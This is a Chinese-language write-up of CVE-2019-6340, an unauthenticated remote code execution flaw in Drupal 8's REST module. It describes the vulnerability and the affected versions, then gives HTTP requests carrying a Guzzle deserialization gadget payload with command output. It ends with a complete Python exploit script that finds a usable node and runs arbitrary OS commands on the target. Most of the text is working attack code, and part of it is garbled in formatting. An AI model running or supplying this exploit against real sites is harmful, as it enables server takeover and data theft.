（CVE-2019-6340）Drupal 远程代码执行漏洞 ======================================== 一、漏洞简介 ------------ Drupal Core存在一个远程代码执行漏洞。此次，它的目标是Drupal 8的REST模块，默认情况下，该模块是禁用了，但是该模块在大多数情况下会被用户使用。\*\*该漏洞本质上是由于用户使用Drupal Core RESTful Web Services (rest)时，某些字段类型无法正确清理非格式源中的数据。在某些情况下，这可能导致任意PHP代码执行。\*\*此外，我们发现针对该漏洞提出的即时补救措施是不完整的，这可能会导致一种错误的安全感。**用户可能会根据官方的说明禁用掉RESTful Web Services 中的POST/PATCH方法，但是事实上GET方法也能在无任何权限的情况下执行远程代码，所以用户必须执行Drupal的最新的安全更新或者禁用RESTful Web Services服务，否则网站依旧处于风险当中。** 二、漏洞影响 ------------ Drupal 8.6.x \< 8.6.10 Drupal 8.5.x \< 8.5.11 三、复现过程 ------------ > 触发`unserialize()` GET /drupal-8.6.9/node/1?_format=hal_json HTTP/1.1 Host: 192.168.1.25 Content-Type: application/hal+json Content-Length: 642 { "link": [ { "value": "link", "options": "" } ], "_links": { "type": { "href": "http://192.168.1.25/drupal-8.6.9/rest/type/shortcut/default" } } } > 由于Drupal > 8使用[Guzzle](http://docs.guzzlephp.org/en/stable/)，我们可以使用PHPGGC生成有效负载： $ ./phpggc guzzle / rce1系统ID --json “ O：24：\” GuzzleHttp \\ Psr7 \\ FnStream \“：2：{s：33：\” \ u0000GuzzleHttp \\ Psr7 \\ FnStream \ u0000methods \“ ; a：1：{s：5：\“ close \”; a：2：{i：0; O：23：\“ GuzzleHttp \\ HandlerStack \”：3：{s：32：\“ \ u0000GuzzleHttp \ \ HandlerStack \ u0000handler \“; s：2：\” id \“; s：30：\” \ u0000GuzzleHttp \\ HandlerStack \ u0000stack \“; a：1：{i：0; a：1：{i：0 ; s：6：\“ system \”;}} s：31：\“ \ u0000GuzzleHttp \\ HandlerStack \ u0000cached \”; b：0;} i：1; s：7：\“ resolve \”;}} s：9：\“ _ fn_close \”; a：2：{i：0; r：4; i：1; s：7：\“ resolve \”;}}“ > 我们可以通过get请求发送有效载荷 GET /drupal-8.6.9/node/1?_format=hal_json HTTP/1.1 Host: www.0-sec.org Content-Type: application/hal+json Content-Length: 642 { "link": [ { "value": "link", "options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:2:\"id\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}" } ], "_links": { "type": { "href": "http://www.0-sec.org/drupal-8.6.9/rest/type/shortcut/default" } } } > 返回值 HTTP/1.1 200 OK Link: <...> X-Generator: Drupal 8 (https://www.drupal.org) X-Drupal-Cache: MISS Connection: close Content-Type: application/hal+json Content-Length: 9012 {...}uid=33(www-data) gid=33(www-data) groups=33(www-data) ### poc #!/usr/bin/env python3 # CVE-2019-6340 Drupal <= 8.6.9 REST services RCE PoC # 2019 @leonjza # Technical details for this exploit is available at: # https://www.drupal.org/sa-core-2019-003 # https://www.ambionics.io/blog/drupal8-rce # https://twitter.com/jcran/status/1099206271901798400 # Sample usage: # # $ python cve-2019-6340.py http://127.0.0.1/ "ps auxf" # CVE-2019-6340 Drupal 8 REST Services Unauthenticated RCE PoC # by @leonjza # # References: # https://www.drupal.org/sa-core-2019-003 # https://www.ambionics.io/blog/drupal8-rce # # [warning] Caching heavily affects reliability of this exploit. # Nodes are used as they are discovered, but once they are done, # you will have to wait for cache expiry. # # Targeting http://127.0.0.1/... # [+] Finding a usable node id... # [x] Node enum found a cached article at: 2, skipping # [x] Node enum found a cached article at: 3, skipping # [+] Using node_id 4 # [+] Target appears to be vulnerable! # # USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND # root 49 0.0 0.0 4288 716 pts/0 Ss+ 16:38 0:00 sh # root 1 0.0 1.4 390040 30540 ? Ss 15:20 0:00 apache2 -DFOREGROUND # www-data 24 0.1 2.8 395652 57912 ? S 15:20 0:08 apache2 -DFOREGROUND # www-data 27 0.1 2.9 396152 61108 ? S 15:20 0:08 apache2 -DFOREGROUND # www-data 31 0.0 3.4 406304 70408 ? S 15:22 0:04 apache2 -DFOREGROUND # www-data 39 0.0 2.7 398472 56852 ? S 16:14 0:02 apache2 -DFOREGROUND # www-data 44 0.2 3.2 402208 66080 ? S 16:37 0:05 apache2 -DFOREGROUND # www-data 56 0.0 2.6 397988 55060 ? S 16:38 0:01 apache2 -DFOREGROUND # www-data 65 0.0 2.3 394252 48460 ? S 16:40 0:01 apache2 -DFOREGROUND # www-data 78 0.0 2.5 400996 51320 ? S 16:47 0:01 apache2 -DFOREGROUND # www-data 117 0.0 0.0 4288 712 ? S 17:20 0:00 \_ sh -c echo import sys from urllib.parse import urlparse, urljoin import requests def build_url(*args) -> str: """ Builds a URL """ f = '' for x in args: f = urljoin(f, x) return f def uri_valid(x: str) -> bool: """ https://stackoverflow.com/a/38020041 """ result = urlparse(x) return all([result.scheme, result.netloc, result.path]) def check_drupal_cache(r: requests.Response) -> bool: """ Check if a response had the cache header. """ if 'X-Drupal-Cache' in r.headers and r.headers['X-Drupal-Cache'] == 'HIT': return True return False def find_article(base: str, f: int = 1, l: int = 100): """ Find a target article that does not 404 and is not cached """ while f < l: u = build_url(base, '/node/', str(f)) r = requests.get(u) if check_drupal_cache(r): print(f'[x] Node enum found a cached article at: {f}, skipping') f += 1 continue # found an article? if r.status_code == 200: return f f += 1 def check(base: str, node_id: int) -> bool: """ Check if the target is vulnerable. """ payload = { "_links": { "type": { "href": f"{urljoin(base, '/rest/type/node/INVALID_VALUE')}" } }, "type": { "target_id": "article" }, "title": { "value": "My Article" }, "body": { "value": "" } } u = build_url(base, '/node/', str(node_id)) r = requests.get(f'{u}?_format=hal_json', json=payload, headers={"Content-Type": "application/hal+json"}) if check_drupal_cache(r): print(f'Checking if node {node_id} is vuln returned cache HIT, ignoring') return False if 'INVALID_VALUE does not correspond to an entity on this site' in r.text: return True return False def exploit(base: str, node_id: int, cmd: str): """ Exploit using the Guzzle Gadgets """ # pad a easy search replace output: cmd = 'echo ---- & ' + cmd payload = { "link": [ { "value": "link", "options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000" "GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"" "close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:" "{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";" "s:|size|:\"|command|\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000" "stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000" "GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"" "resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}" "".replace('|size|', str(len(cmd))).replace('|command|', cmd) } ], "_links": { "type": { "href": f"{urljoin(base, '/rest/type/shortcut/default')}" } } } u = build_url(base, '/node/', str(node_id)) r = requests.get(f'{u}?_format=hal_json', json=payload, headers={"Content-Type": "application/hal+json"}) if check_drupal_cache(r): print(f'Exploiting {node_id} returned cache HIT, may have failed') if '----' not in r.text: print('[warn] Command execution _may_ have failed') print(r.text.split('----')[1]) def main(base: str, cmd: str): """ Execute an OS command! """ print('[+] Finding a usable node id...') article = find_article(base) if not article: print('[!] Unable to find a node ID to reference. Check manually?') return print(f'[+] Using node_id {article}') vuln = check(base, article) if not vuln: print('[!] Target does not appear to be vulnerable.') print('[!] It may also simply be a caching issue, so maybe just try again later.') return print(f'[+] Target appears to be vulnerable!') exploit(base, article, cmd) if __name__ == '__main__': print('CVE-2019-6340 Drupal 8 REST Services Unauthenticated RCE PoC') print(' by @leonjza\n') print('References:\n' ' https://www.drupal.org/sa-core-2019-003\n' ' https://www.ambionics.io/blog/drupal8-rce\n') print('[warning] Caching heavily affects reliability of this exploit.\n' 'Nodes are used as they are discovered, but once they are done,\n' 'you will have to wait for cache expiry.\n') if len(sys.argv) <= 2: print(f'Usage: {sys.argv[0]} ') print(f' Example: {sys.argv[0]} http://127.0.0.1/ id') target = sys.argv[1] command = sys.argv[2] if not uri_valid(target): print(f'Target {target} is not a valid URL') sys.exit(1) print(f'Targeting {target}...') main(target, command)